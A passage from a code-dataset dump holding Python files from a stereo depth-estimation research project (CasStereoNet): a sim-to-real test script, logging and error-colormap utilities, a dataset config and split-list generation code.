tensor2float(scalar_outputs[\"loss\"]), tensor2float(scalar_outputs)\n\n\nif __name__ == '__main__':\n train()\n\n", "id": "11875356", "language": "Python", "matching_score": 6.022773265838623, "max_stars_count": 1, "path": "CasStereoNet/main.py" }, { "content": "\"\"\"\nAuthor: <NAME> 7/19/21\nFeature: Test cascade-stereo model on sim-real dataset\n\"\"\"\n\nimport os\nimport argparse\nimport torch\nimport torch.nn.functional as F\nfrom tqdm import tqdm\nimport numpy as np\n\nfrom models.psmnet import PSMNet\nfrom datasets.messytable_test_dataset import get_test_loader\nfrom utils.metrics import compute_err_metric, compute_obj_err\nfrom utils.messytable_dataset_config import cfg\nfrom utils.messytable_util import get_time_string, setup_logger, \\\n depth_error_img, disp_error_img, save_img, save_obj_err_file\nfrom utils.warp_ops import apply_disparity_cu\n\nparser = argparse.ArgumentParser(description='Testing for Cascade-Stereo on messy-table-dataset')\nparser.add_argument('--config-file', type=str, default='./CasStereoNet/configs/local_test_config.yaml',\n metavar='FILE', help='Config files')\nparser.add_argument('--model', type=str, default='', metavar='FILE', help='Path to test model')\nparser.add_argument('--output', type=str, default='./testing_output', help='Path to output folder')\nparser.add_argument('--debug', action='store_true', default=False, help='Debug mode')\nparser.add_argument('--annotate', type=str, default='', help='Annotation to the experiment')\nparser.add_argument('--onreal', action='store_true', default=False, help='Test on real dataset')\nparser.add_argument('--analyze-objects', action='store_true', default=True, help='Analyze on different objects')\nparser.add_argument('--exclude-bg', action='store_true', default=False, help='Exclude background when testing')\nparser.add_argument('--warp-op', action='store_true', default=True, help='whether use warp_op function to get disparity')\nargs = parser.parse_args()\ncfg.merge_from_file(args.config_file)\n\n\ndef test(model, val_loader, logger, log_dir):\n model.eval()\n total_err_metrics = {'epe': 0, 'bad1': 0, 'bad2': 0,\n 'depth_abs_err': 0, 'depth_err2': 0, 'depth_err4': 0, 'depth_err8': 0}\n total_obj_disp_err = np.zeros(cfg.SPLIT.OBJ_NUM)\n total_obj_depth_err = np.zeros(cfg.SPLIT.OBJ_NUM)\n total_obj_count = np.zeros(cfg.SPLIT.OBJ_NUM)\n os.mkdir(os.path.join(log_dir, 'pred_disp'))\n os.mkdir(os.path.join(log_dir, 'gt_disp'))\n os.mkdir(os.path.join(log_dir, 'pred_disp_abs_err_cmap'))\n os.mkdir(os.path.join(log_dir, 'pred_depth'))\n os.mkdir(os.path.join(log_dir, 'gt_depth'))\n os.mkdir(os.path.join(log_dir, 'pred_depth_abs_err_cmap'))\n\n for iteration, data in enumerate(tqdm(val_loader)):\n img_L = data['img_L'].cuda()\n img_R = data['img_R'].cuda()\n\n img_disp_l = data['img_disp_l'].cuda()\n img_depth_l = data['img_depth_l'].cuda()\n img_label = data['img_label'].cuda()\n img_focal_length = data['focal_length'].cuda()\n img_baseline = data['baseline'].cuda()\n prefix = data['prefix'][0]\n\n # If using warp_op, computing img_disp_l from img_disp_r\n if args.warp_op:\n img_disp_r = data['img_disp_r'].cuda()\n img_depth_r = data['img_depth_r'].cuda()\n img_disp_l = apply_disparity_cu(img_disp_r, img_disp_r.type(torch.int))\n img_depth_l = apply_disparity_cu(img_depth_r, img_disp_r.type(torch.int)) # [bs, 1, H, W]\n\n # If test on real dataset need to crop input image to (540, 960)\n if args.onreal:\n img_L = F.interpolate(img_L, (540, 960))\n img_R = F.interpolate(img_R, (540, 960))\n\n img_disp_l = F.interpolate(img_disp_l, (540, 960))\n img_depth_l = F.interpolate(img_depth_l, (540, 960))\n img_label = F.interpolate(img_label, (540, 960)).type(torch.int)\n\n # Pad the imput image and depth disp image to 960 * 544\n right_pad = cfg.REAL.PAD_WIDTH - 960\n top_pad = cfg.REAL.PAD_HEIGHT - 540\n img_L = F.pad(img_L, (0, right_pad, top_pad, 0, 0, 0, 0, 0), mode='constant', value=0)\n img_R = F.pad(img_R, (0, right_pad, top_pad, 0, 0, 0, 0, 0), mode='constant', value=0)\n\n if args.exclude_bg:\n # Mask ground pixel to False\n img_ground_mask = (img_depth_l > 0) & (img_depth_l < 1.25)\n mask = (img_disp_l < cfg.ARGS.MAX_DISP) * (img_disp_l > 0) * img_ground_mask\n else:\n mask = (img_disp_l < cfg.ARGS.MAX_DISP) * (img_disp_l > 0)\n mask = mask.type(torch.bool)\n mask.detach_() # [bs, 1, H, W]\n\n ground_mask = torch.logical_not(mask).squeeze(0).squeeze(0).detach().cpu().numpy()\n\n with torch.no_grad():\n outputs = model(img_L, img_R)\n pred_disp = outputs['stage2']['pred'] # [bs, H, W]\n pred_disp = pred_disp.unsqueeze(1) # [bs, 1, H, W]\n pred_disp = pred_disp[:, :, top_pad:, :] # TODO: if right_pad > 0 it needs to be (:-right_pad)\n pred_depth = img_focal_length * img_baseline / pred_disp # pred depth in m\n\n # Get loss metric\n err_metrics = compute_err_metric(img_disp_l, img_depth_l, pred_disp, img_focal_length,\n img_baseline, mask)\n for k in total_err_metrics.keys():\n total_err_metrics[k] += err_metrics[k]\n logger.info(f'Test instance {prefix} - {err_metrics}')\n\n # Get object error\n obj_disp_err, obj_depth_err, obj_count = compute_obj_err(img_disp_l, img_depth_l, pred_disp, img_focal_length,\n img_baseline, img_label, mask, cfg.SPLIT.OBJ_NUM)\n total_obj_disp_err += obj_disp_err\n total_obj_depth_err += obj_depth_err\n total_obj_count += obj_count\n\n # Get disparity image\n pred_disp_np = pred_disp.squeeze(0).squeeze(0).detach().cpu().numpy() # [H, W]\n pred_disp_np[ground_mask] = -1\n\n # Get disparity ground truth image\n gt_disp_np = img_disp_l.squeeze(0).squeeze(0).detach().cpu().numpy()\n gt_disp_np[ground_mask] = -1\n\n # Get disparity error image\n pred_disp_err_np = disp_error_img(pred_disp, img_disp_l, mask)\n\n # Get depth image\n pred_depth_np = pred_depth.squeeze(0).squeeze(0).detach().cpu().numpy() # in m, [H, W]\n # crop depth map to [0.2m, 2m]\n # pred_depth_np[pred_depth_np < 0.2] = -1\n # pred_depth_np[pred_depth_np > 2] = -1\n pred_depth_np[ground_mask] = -1\n\n # Get depth ground truth image\n gt_depth_np = img_depth_l.squeeze(0).squeeze(0).detach().cpu().numpy()\n gt_depth_np[ground_mask] = -1\n\n # Get depth error image\n pred_depth_err_np = depth_error_img(pred_depth * 1000, img_depth_l * 1000, mask)\n\n del pred_disp, pred_depth, outputs, img_L, img_R\n\n # Save images\n save_img(log_dir, prefix, pred_disp_np, gt_disp_np, pred_disp_err_np,\n pred_depth_np, gt_depth_np, pred_depth_err_np)\n\n # Get final error metrics\n for k in total_err_metrics.keys():\n total_err_metrics[k] /= len(val_loader)\n logger.info(f'\\nTest on {len(val_loader)} instances\\n {total_err_metrics}')\n\n # Save object error to csv file\n total_obj_disp_err /= total_obj_count\n total_obj_depth_err /= total_obj_count\n save_obj_err_file(total_obj_disp_err, total_obj_depth_err, log_dir)\n\n logger.info(f'Successfully saved object error to obj_err.txt')\n\n\ndef main():\n # Obtain the dataloader\n val_loader = get_test_loader(cfg.SPLIT.VAL, args.debug, sub=10, isTest=True, onReal=args.onreal)\n\n # Tensorboard and logger\n os.makedirs(args.output, exist_ok=True)\n log_dir = os.path.join(args.output, f'{get_time_string()}_{args.annotate}')\n os.mkdir(log_dir)\n logger = setup_logger(\"CascadeStereo Testing\", distributed_rank=0, save_dir=log_dir)\n logger.info(f'Annotation: {args.annotate}')\n logger.info(f'Input args {args}')\n logger.info(f'Loaded config file \\'{args.config_file}\\'')\n logger.info(f'Running with configs:\\n{cfg}')\n\n # Get the model\n logger.info(f'Loaded the checkpoint: {args.model}')\n model = PSMNet(\n maxdisp=cfg.ARGS.MAX_DISP,\n ndisps=[int(nd) for nd in cfg.ARGS.NDISP],\n disp_interval_pixel=[float(d_i) for d_i in cfg.ARGS.DISP_INTER_R],\n cr_base_chs=[int(ch) for ch in cfg.ARGS.CR_BASE_CHS],\n grad_method=cfg.ARGS.GRAD_METHOD,\n using_ns=cfg.ARGS.USING_NS,\n ns_size=cfg.ARGS.NS_SIZE\n )\n state_dict = torch.load(args.model)\n model.load_state_dict(state_dict['model'])\n model.cuda()\n test(model, val_loader, logger, log_dir)\n\n\nif __name__ == '__main__':\n main()\n", "id": "2629799", "language": "Python", "matching_score": 5.565492153167725, "max_stars_count": 1, "path": "CasStereoNet/test_on_sim_real.py" }, { "content": "\"\"\"\nAuthor: <NAME> 7/18/21\nFeature: Some util functions for messy-table-dataset\n\"\"\"\n\nimport os, sys\nimport logging\nimport pickle\nimport numpy as np\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nfrom utils.messytable_dataset_config import cfg\n\n\ndef load_pickle(filename):\n with open(filename, 'rb') as f:\n return pickle.load(f)\n\n\ndef get_split_files(split_file, debug=False, sub=100, isTest=False, onReal=False):\n \"\"\"\n :param split_file: Path to the split .txt file, e.g. train.txt\n :param debug: Debug mode, load less data\n :param sub: If debug mode is enabled, sub will be the number of data loaded\n :param isTest: Whether on test, if test no random shuffle\n :param onReal: Whether test on real dataset, folder and file names are different\n :return: Lists of paths to the entries listed in split file\n \"\"\"\n dataset = cfg.REAL.DATASET if onReal else cfg.DIR.DATASET\n img_left_name = cfg.REAL.LEFT if onReal else cfg.SPLIT.LEFT\n img_right_name = cfg.REAL.RIGHT if onReal else cfg.SPLIT.RIGHT\n\n with open(split_file, 'r') as f:\n prefix = [line.strip() for line in f]\n if isTest is False:\n np.random.shuffle(prefix)\n\n img_L = [os.path.join(os.path.join(dataset, p), img_left_name) for p in prefix]\n img_R = [os.path.join(os.path.join(dataset, p), img_right_name) for p in prefix]\n img_depth_l = [os.path.join(os.path.join(cfg.DIR.DATASET, p), cfg.SPLIT.DEPTHL) for p in prefix]\n img_depth_r = [os.path.join(os.path.join(cfg.DIR.DATASET, p), cfg.SPLIT.DEPTHR) for p in prefix]\n img_meta = [os.path.join(os.path.join(cfg.DIR.DATASET, p), cfg.SPLIT.META) for p in prefix]\n img_label = [os.path.join(os.path.join(cfg.REAL.DATASET, p), cfg.SPLIT.LABEL) for p in prefix]\n\n if debug is True:\n img_L = img_L[:sub]\n img_R = img_R[:sub]\n img_depth_l = img_depth_l[:sub]\n img_depth_r = img_depth_r[:sub]\n img_meta = img_meta[:sub]\n img_label = img_label[:sub]\n return img_L, img_R, img_depth_l, img_depth_r, img_meta, img_label\n\n\ndef get_time_string():\n \"\"\"\n :return: Datetime in '%d_%m_%Y_%H_%M_%S' format\n \"\"\"\n now = datetime.now()\n dt_string = now.strftime('%m_%d_%Y_%H_%M_%S')\n return dt_string\n\n\ndef setup_logger(name, distributed_rank, save_dir=None):\n logger = logging.getLogger(name)\n logger.setLevel(logging.DEBUG)\n # don't log results for the non-master process\n if distributed_rank > 0:\n return logger\n stream_handler = logging.StreamHandler(stream=sys.stdout)\n stream_handler.setLevel(logging.DEBUG)\n formatter = logging.Formatter(\"%(asctime)s %(name)s %(levelname)s: %(message)s\")\n stream_handler.setFormatter(formatter)\n logger.addHandler(stream_handler)\n if save_dir:\n fh = logging.FileHandler(os.path.join(save_dir, 'log.txt'))\n fh.setLevel(logging.DEBUG)\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n return logger\n\n\ndef gen_error_colormap_depth():\n cols = np.array(\n [[0, 0.00001, 0, 0, 0],\n [0.00001, 2000./(2**10) , 49, 54, 149],\n [2000./(2**10) , 2000./(2**9) , 69, 117, 180],\n [2000./(2**9) , 2000./(2**8) , 116, 173, 209],\n [2000./(2**8), 2000./(2**7), 171, 217, 233],\n [2000./(2**7), 2000./(2**6), 224, 243, 248],\n [2000./(2**6), 2000./(2**5), 254, 224, 144],\n [2000./(2**5), 2000./(2**4), 253, 174, 97],\n [2000./(2**4), 2000./(2**3), 244, 109, 67],\n [2000./(2**3), 2000./(2**2), 215, 48, 39],\n [2000./(2**2), np.inf, 165, 0, 38]], dtype=np.float32)\n cols[:, 2: 5] /= 255.\n return cols\n\n\ndef gen_error_colormap_disp():\n cols = np.array(\n [[0, 0.00001, 0, 0, 0],\n [0.00001, 0.1875 / 3.0, 49, 54, 149],\n [0.1875 / 3.0, 0.375 / 3.0, 69, 117, 180],\n [0.375 / 3.0, 0.75 / 3.0, 116, 173, 209],\n [0.75 / 3.0, 1.5 / 3.0, 171, 217, 233],\n [1.5 / 3.0, 3 / 3.0, 224, 243, 248],\n [3 / 3.0, 6 / 3.0, 254, 224, 144],\n [6 / 3.0, 12 / 3.0, 253, 174, 97],\n [12 / 3.0, 24 / 3.0, 244, 109, 67],\n [24 / 3.0, 48 / 3.0, 215, 48, 39],\n [48 / 3.0, np.inf, 165, 0, 38]], dtype=np.float32)\n cols[:, 2: 5] /= 255.\n return cols\n\n\ndef depth_error_img(D_est_tensor, D_gt_tensor, mask, abs_thres=1., dilate_radius=1):\n D_gt_np = D_gt_tensor.squeeze(0).detach().cpu().numpy()\n D_est_np = D_est_tensor.squeeze(0).detach().cpu().numpy()\n mask = mask.squeeze(0).detach().cpu().numpy()\n B, H, W = D_gt_np.shape\n # valid mask\n # mask = (D_gt_np > 0) & (D_gt_np < 1250)\n # error in percentage. When error <= 1, the pixel is valid since <= 3px & 5%\n error = np.abs(D_gt_np - D_est_np)\n error[np.logical_not(mask)] = 0\n error[mask] = error[mask] / abs_thres\n # get colormap\n cols = gen_error_colormap_depth()\n # create error image\n error_image = np.zeros([B, H, W, 3], dtype=np.float32)\n for i in range(cols.shape[0]):\n error_image[np.logical_and(error >= cols[i][0], error < cols[i][1])] = cols[i, 2:]\n # TODO: imdilate\n # error_image = cv2.imdilate(D_err, strel('disk', dilate_radius));\n error_image[np.logical_not(mask)] = 0.\n # show color tag in the top-left cornor of the image\n for i in range(cols.shape[0]):\n distance = 20\n error_image[:, :10, i * distance:(i + 1) * distance, :] = cols[i, 2:]\n return error_image[0]\n\n\ndef disp_error_img(D_est_tensor, D_gt_tensor, mask, abs_thres=3., rel_thres=0.05, dilate_radius=1):\n D_gt_np = D_gt_tensor.squeeze(0).detach().cpu().numpy()\n D_est_np = D_est_tensor.squeeze(0).detach().cpu().numpy()\n mask = mask.squeeze(0).detach().cpu().numpy()\n B, H, W = D_gt_np.shape\n # valid mask\n # mask = D_gt_np > 0\n # error in percentage. When error <= 1, the pixel is valid since <= 3px & 5%\n error = np.abs(D_gt_np - D_est_np)\n error[np.logical_not(mask)] = 0\n error[mask] = np.minimum(error[mask] / abs_thres, (error[mask] / D_gt_np[mask]) / rel_thres)\n # get colormap\n cols = gen_error_colormap_disp()\n # create error image\n error_image = np.zeros([B, H, W, 3], dtype=np.float32)\n for i in range(cols.shape[0]):\n error_image[np.logical_and(error >= cols[i][0], error < cols[i][1])] = cols[i, 2:]\n # TODO: imdilate\n # error_image = cv2.imdilate(D_err, strel('disk', dilate_radius));\n error_image[np.logical_not(mask)] = 0.\n # show color tag in the top-left cornor of the image\n for i in range(cols.shape[0]):\n distance = 20\n error_image[:, :10, i * distance:(i + 1) * distance, :] = cols[i, 2:]\n return error_image[0]\n\n\ndef save_img(log_dir, prefix,\n pred_disp_np, gt_disp_np, pred_disp_err_np,\n pred_depth_np, gt_depth_np, pred_depth_err_np):\n disp_path = os.path.join('pred_disp', prefix) + '.png'\n disp_gt_path = os.path.join('gt_disp', prefix) + '.png'\n disp_abs_err_cm_path = os.path.join('pred_disp_abs_err_cmap', prefix) + '.png'\n depth_path = os.path.join('pred_depth', prefix) + '.png'\n depth_gt_path = os.path.join('gt_depth', prefix) + '.png'\n depth_abs_err_cm_path = os.path.join('pred_depth_abs_err_cmap', prefix) + '.png'\n\n # Save predicted images\n masked_pred_disp_np = np.ma.masked_where(pred_disp_np == -1, pred_disp_np) # mark background as red\n custom_cmap = plt.get_cmap('viridis').copy()\n custom_cmap.set_bad(color='red')\n plt.imsave(os.path.join(log_dir, disp_path), masked_pred_disp_np, cmap=custom_cmap, vmin=0, vmax=cfg.ARGS.MAX_DISP)\n\n masked_pred_depth_np = np.ma.masked_where(pred_depth_np == -1, pred_depth_np) # mark background as red\n plt.imsave(os.path.join(log_dir, depth_path), masked_pred_depth_np, cmap=custom_cmap, vmin=0, vmax=1.25)\n\n # Save ground truth images\n masked_gt_disp_np = np.ma.masked_where(gt_disp_np == -1, gt_disp_np) # mark background as red\n plt.imsave(os.path.join(log_dir, disp_gt_path), masked_gt_disp_np, cmap=custom_cmap, vmin=0, vmax=cfg.ARGS.MAX_DISP)\n masked_gt_depth_np = np.ma.masked_where(gt_depth_np == -1, gt_depth_np) # mark background as red\n plt.imsave(os.path.join(log_dir, depth_gt_path), masked_gt_depth_np, cmap=custom_cmap, vmin=0, vmax=1.25)\n\n # Save error images\n plt.imsave(os.path.join(log_dir, disp_abs_err_cm_path), pred_disp_err_np)\n plt.imsave(os.path.join(log_dir, depth_abs_err_cm_path), pred_depth_err_np)\n\n\ndef save_obj_err_file(total_obj_disp_err, total_obj_depth_err, log_dir):\n result = np.append(total_obj_disp_err[None], total_obj_depth_err[None], axis=0).T\n result = np.append(np.arange(cfg.SPLIT.OBJ_NUM)[:, None].astype(int), result, axis=-1)\n result = result.astype('str').tolist()\n head = [[' ', 'disp_err', 'depth_err']]\n result = head + result\n\n err_file = open(os.path.join(log_dir, 'obj_err.txt'), 'w')\n for line in result:\n content = ' '.join(line)\n err_file.write(content + '\\n')\n err_file.close()\n\n\nif __name__ == '__main__':\n # Img_L, Img_R, Img_depth_l, Img_depth_r, Img_meta, Img_label = get_split_files(cfg.SPLIT.VAL,\n # isTest=True, onReal=True)\n Img_L, Img_R, Img_depth_l, Img_depth_r, Img_meta, Img_label = get_split_files(cfg.SPLIT.TRAIN,\n isTest=False, onReal=False)\n print(Img_L)\n print(Img_R)\n print(Img_depth_l)\n print(Img_depth_r)\n print(Img_meta)\n print(Img_label)", "id": "11210793", "language": "Python", "matching_score": 2.7697694301605225, "max_stars_count": 1, "path": "CasStereoNet/utils/messytable_util.py" }, { "content": "\"\"\"\nAuthor: <NAME> 7/18/21\nFeature: Config file for messy-table-dataset\n\"\"\"\n\nfrom yacs.config import CfgNode as CN\n\n_C = CN()\ncfg = _C\n\n# Directories\n_C.DIR = CN()\n_C.DIR.DATASET = '/cephfs/datasets/iccv_pnp/messy-table-dataset/v9/training'\n_C.DIR.OUTPUT = '/isabella-fast/Cascade-Stereo/outputs_sim_real'\n\n# Split files\n_C.SPLIT = CN()\n_C.SPLIT.TRAIN = '/cephfs/datasets/iccv_pnp/messy-table-dataset/v9/training_lists/all_train.txt'\n_C.SPLIT.VAL = '/cephfs/datasets/iccv_pnp/messy-table-dataset/v9/training_lists/all_val.txt'\n_C.SPLIT.OBJ_NUM = 18 # Note: table + ground - 17th\n\n_C.SPLIT.LEFT = '0128_irL_denoised_half.png'\n_C.SPLIT.RIGHT = '0128_irR_denoised_half.png'\n_C.SPLIT.DEPTHL = 'depthL.png'\n_C.SPLIT.DEPTHR = 'depthR.png'\n_C.SPLIT.META = 'meta.pkl'\n_C.SPLIT.LABEL = 'irL_label_image.png'\n\n# Configuration for testing on real dataset\n_C.REAL = CN()\n_C.REAL.DATASET = '/code/cascade-stereo/real_dataset_local_v9'\n_C.REAL.LEFT = '1024_irL_real_1080.png'\n_C.REAL.RIGHT = '1024_irR_real_1080.png'\n_C.REAL.PAD_WIDTH = 960\n_C.REAL.PAD_HEIGHT = 544\n\n# Solver args\n_C.SOLVER = CN()\n_C.SOLVER.LR = 0.001 # base learning rate\n_C.SOLVER.LR_EPOCHS = '5,10,15:2' # the epochs to decay lr: the downscale rate\n_C.SOLVER.EPOCHS = 20 # number of epochs to train\n_C.SOLVER.BATCH_SIZE = 1 # batch size\n_C.SOLVER.NUM_WORKER = 1 # num_worker in dataloader\n\n# Model args\n_C.ARGS = CN()\n_C.ARGS.MAX_DISP = 192 # maximum disparity\n_C.ARGS.MODEL = 'gwcnet-c'\n_C.ARGS.GRAD_METHOD = 'detach'\n_C.ARGS.NDISP = (48, 24) # ndisps\n_C.ARGS.DISP_INTER_R = (4, 1) # disp_intervals_ratio\n_C.ARGS.DLOSSW = (0.5, 2.0) # depth loss weight for different stage\n_C.ARGS.CR_BASE_CHS = (32, 32, 16) # cost regularization base channels\n_C.ARGS.USING_NS = True # using neighbor search\n_C.ARGS.NS_SIZE = 3 # nb_size\n_C.ARGS.CROP_HEIGHT = 256 # crop height\n_C.ARGS.CROP_WIDTH = 512 # crop width\n\n# Data Augmentation\n_C.DATA_AUG = CN()\n_C.DATA_AUG.BRIGHT_MIN = 0.4\n_C.DATA_AUG.BRIGHT_MAX = 1.4\n_C.DATA_AUG.CONTRAST_MIN = 0.8\n_C.DATA_AUG.CONTRAST_MAX = 1.2\n_C.DATA_AUG.GAUSSIAN_MIN = 0.1\n_C.DATA_AUG.GAUSSIAN_MAX = 2\n_C.DATA_AUG.GAUSSIAN_KERNEL = 9\n", "id": "2696871", "language": "Python", "matching_score": 3.08526873588562, "max_stars_count": 1, "path": "CasStereoNet/utils/messytable_dataset_config.py" }, { "content": "import os\nfrom glob import glob\nfrom PIL import Image\nfrom depth2disp import convert_file\nimport numpy as np\n\nintrinsic = np.array([[1387.095, 0.0, 960.0], [0.0, 1387.095, 540.0], [0.0, 0.0, 1.0]])\n\ndef gen_kitti_2015():\n data_dir = 'data/KITTI/kitti_2015/data_scene_flow'\n\n train_file = 'KITTI_2015_train.txt'\n val_file = 'KITTI_2015_val.txt'\n\n # Split the training set with 4:1 raito (160 for training, 40 for validation)\n with open(train_file, 'w') as train_f, open(val_file, 'w') as val_f:\n dir_name = 'image_2'\n left_dir = os.path.join(data_dir, 'training', dir_name)\n left_imgs = sorted(glob(left_dir + '/*_10.png'))\n\n print('Number of images: %d' % len(left_imgs))\n\n for left_img in left_imgs:\n right_img = left_img.replace(dir_name, 'image_3')\n disp_path = left_img.replace(dir_name, 'disp_occ_0')\n\n img_id = int(os.path.basename(left_img).split('_')[0])\n\n if img_id % 5 == 0:\n val_f.write(left_img.replace(data_dir + '/', '') + ' ')\n val_f.write(right_img.replace(data_dir + '/', '') + ' ')\n val_f.write(disp_path.replace(data_dir + '/', '') + '\\n')\n else:\n train_f.write(left_img.replace(data_dir + '/', '') + ' ')\n train_f.write(right_img.replace(data_dir + '/', '') + ' ')\n train_f.write(disp_path.replace(data_dir + '/', '') + '\\n')\n\ndef gen_own_data():\n data_dir = 'linked_v5'\n train_list = 'linked_v5/training_lists/200_train.txt'\n val_list = 'linked_v5/training_lists/200_val.txt'\n\n\n train_list_f = open(train_list, 'r')\n val_list_f = open(val_list, 'r')\n\n train_file = 'filenames/custom_train.txt'\n val_file = 'filenames/custom_val.txt'\n\n with open(train_file, 'w') as train_f, open(val_file, 'w') as val_f:\n while True:\n x = train_list_f.readline() # gets each directory\n if not x:\n break\n else:\n x = x.split()[0]\n if x[0]!='1' and x[0]!='0':\n continue\n left = 'training/' + x + '/0128_irL_denoised_half.png '\n right = 'training/' + x + '/0128_irR_denoised_half.png '\n\n # os.mkdir('/cephfs/edward/'+x)\n # image = Image.open(data_dir + '/training/' + x + '/depthL_fromR.png')\n # new_image = image.resize((960,540))\n # new_image.save('/cephfs/edward/'+x +'/depthL_fromR_down.png')\n # gt = '/cephfs/edward/'+x +'/depthL_fromR_down.png \\n'\n\n temp = '/cephfs/edward/'+x +'/depthL_fromR_down.png'\n out = '/cephfs/edward/'+x +'/disp.png'\n convert_file(temp, intrinsic,0.055,out)\n gt = '/cephfs/edward/'+x +'/disp.png \\n'\n\n\n train_f.write(left)\n train_f.write(right)\n train_f.write(gt)\n\n while True:\n x = val_list_f.readline() # gets each directory\n if not x:\n break\n else:\n x = x.split()[0]\n if x[0]!='1' and x[0]!='0':\n continue\n left = 'training/' + x + '/0128_irL_denoised_half.png '\n right = 'training/' + x + '/0128_irR_denoised_half.png '\n\n # image = Image.open(data_dir + '/training/' + x + '/depthL_fromR.png')\n # new_image = image.resize((960,540))\n # os.mkdir('/cephfs/edward/'+x)\n # new_image.save('/cephfs/edward/'+x +'/depthL_fromR_down.png')\n # gt = '/cephfs/edward/'+x +'/depthL_fromR_down.png \\n'\n\n temp = '/cephfs/edward/'+x +'/depthL_fromR_down.png'\n out = '/cephfs/edward/'+x +'/disp.png'\n convert_file(temp, intrinsic,0.055,out)\n gt = '/cephfs/edward/'+x +'/disp.png \\n'\n\n val_f.write(left)\n val_f.write(right)\n val_f.write(gt)\n\ndef gen_own_data_full():\n data_dir = 'linked_v9'\n train_list = 'linked_v9/training_lists/all_train.txt'\n val_list = 'linked_v9/training_lists/all_val.txt'\n\n\n train_list_f = open(train_list, 'r')\n val_list_f = open(val_list, 'r')\n\n train_file = 'filenames/custom_train_full.txt'\n val_file = 'filenames/custom_val_full.txt'\n\n with open(train_file, 'w') as train_f, open(val_file, 'w') as val_f:\n while True:\n x = train_list_f.readline() # gets each directory\n if not x:\n break\n else:\n x = x.split()[0]\n if x[0]!='1' and x[0]!='0':\n continue\n left = 'training/' + x + '/0128_irL_denoised_half.png '\n right = 'training/' + x + '/0128_irR_denoised_half.png '\n\n # image = Image.open(data_dir + '/training/' + x + '/depthR.png')\n # new_image = image.resize((960,540))\n # os.mkdir('/cephfs/edward/'+x)\n # new_image.save('/cephfs/edward/'+x +'/depthR_down.png')\n\n gt = '/cephfs/edward/'+x +'/depthR_down.png '# will need to convert into disparity\n meta = 'training/' + x +'/meta.pkl \\n'\n\n train_f.write(left)\n train_f.write(right)\n train_f.write(gt)\n train_f.write(meta)\n\n while True:\n x = val_list_f.readline() # gets each directory\n if not x:\n break\n else:\n x = x.split()[0]\n if x[0]!='1' and x[0]!='0':\n continue\n left = 'training/' + x + '/0128_irL_denoised_half.png '\n right = 'training/' + x + '/0128_irR_denoised_half.png '\n\n # image = Image.open(data_dir + '/training/' + x + '/depthR.png')\n # new_image = image.resize((960,540))\n # os.mkdir('/cephfs/edward/'+x)\n # new_image.save('/cephfs/edward/'+x +'/depthR_down.png')\n\n gt = '/cephfs/edward/'+x +'/depthR_down.png '# will need to convert into disparity\n meta = 'training/' + x +'/meta.pkl \\n'\n\n val_f.write(left)\n val_f.write(right)\n val_f.write(gt)\n val_f.write(meta)\n\ndef gen_own_data_real():\n data_dir = 'linked_real_v9'\n train_list = 'linked_real_v9/test.txt'\n\n train_list_f = open(train_list, 'r')\n\n train_file = 'filenames/custom_test_real.txt'\n\n with open(train_file, 'w') as train_f:\n while True:\n x = train_list_f.readline() # gets each directory\n if not x:\n break\n else:\n x = x.split()[0]\n if x[0]!='1' and x[0]!='0':\n continue\n left = '/cephfs/edward/'+x + '/real/1024_irL_real_1080_half.png '\n\n # image = Image.open(data_dir + '/' + x + '/1024_irL_real_1080.png')\n # new_image = image.resize((960,540))\n # if not os.path.isdir('/cephfs/edward/'+x):\n # os.mkdir('/cephfs/edward/'+x)\n #os.mkdir('/cephfs/edward/'+x+'/real/')\n # new_image.save('/cephfs/edward/'+x +'/real/1024_irL_real_1080_half.png')\n\n right = '/cephfs/edward/'+x + '/real/1024_irR_real_1080_half.png '\n\n # image = Image.open(data_dir + '/' + x + '/1024_irR_real_1080.png')\n # new_image = image.resize((960,540))\n # new_image.save('/cephfs/edward/'+x +'/real/1024_irR_real_1080_half.png')\n\n gt = '/cephfs/edward/'+x +'/sim/depthR_down.png ' # using sim as GT also\n\n meta = '/workspace/aanet/linked_sim_v9/training/' + x +'/meta.pkl '\n\n label = '/workspace/aanet/linked_real_v9/' + x +'/irL_label_image.png \\n'\n\n train_f.write(left)\n train_f.write(right)\n train_f.write(gt)\n train_f.write(meta)\n train_f.write(label)\n\ndef gen_own_data_sim():\n data_dir = 'linked_sim_v9'\n train_list = 'linked_sim_v9/training_lists/all.txt'\n\n train_list_f = open(train_list, 'r')\n\n train_file = 'filenames/custom_test_sim.txt'\n\n with open(train_file, 'w') as train_f:\n while True:\n x = train_list_f.readline() # gets each directory\n if not x:\n break\n else:\n x = x.split()[0]\n if x[0]!='1' and x[0]!='0':\n continue\n\n left = 'training/' + x + '/0128_irL_denoised_half.png '\n right = 'training/' + x + '/0128_irR_denoised_half.png '\n\n #image = Image.open(data_dir + '/training/' + x + '/depthR.png')\n #new_image = image.resize((960,540))\n #os.mkdir('/cephfs/edward/'+x)\n #os.mkdir('/cephfs/edward/'+x+'/sim/')\n #new_image.save('/cephfs/edward/'+x +'/sim/depthR_down.png')\n\n gt = '/cephfs/edward/'+x +'/sim/depthR_down.png ' # will need to convert into disparity\n\n meta = '/workspace/aanet/linked_sim_v9/training/' + x +'/meta.pkl '\n\n label = '/workspace/aanet/linked_real_v9/' + x +'/irL_label_image.png \\n'\n\n train_f.write(left)\n train_f.write(right)\n train_f.write(gt)\n train_f.write(meta)\n train_f.write(label)\n\ndef gen_own_data_obj():\n data_dir = 'linked_v9'\n train_list = 'linked_v9/training_lists/all_train.txt'\n val_list = 'linked_v9/training_lists/all_val.txt'\n\n\n train_list_f = open(train_list, 'r')\n val_list_f = open(val_list, 'r')\n\n train_file = 'filenames/custom_train_full.txt'\n val_file = 'filenames/custom_val_full.txt'\n\n with open(train_file, 'w') as train_f, open(val_file, 'w') as val_f:\n while True:\n x = train_list_f.readline() # gets each directory\n if not x:\n break\n else:\n x = x.split()[0]\n if x[0]!='1' and x[0]!='0':\n continue\n left = 'training/' + x + '/0128_irL_denoised_half.png '\n right = 'training/' + x + '/0128_irR_denoised_half.png '\n\n gt = '/cephfs/edward/'+x +'/depthR_down.png ' # will need to convert into disparity\n meta = 'training/' + x +'/meta.pkl '\n\n label = 'training/' + x +'/irL_label_image.png \\n'\n\n train_f.write(left)\n train_f.write(right)\n train_f.write(gt)\n train_f.write(meta)\n train_f.write(label)\n\n while True:\n x = val_list_f.readline() # gets each directory\n if not x:\n break\n else:\n x = x.split()[0]\n if x[0]!='1' and x[0]!='0':\n continue\n left = 'training/' + x + '/0128_irL_denoised_half.png '\n right = 'training/' + x + '/0128_irR_denoised_half.png 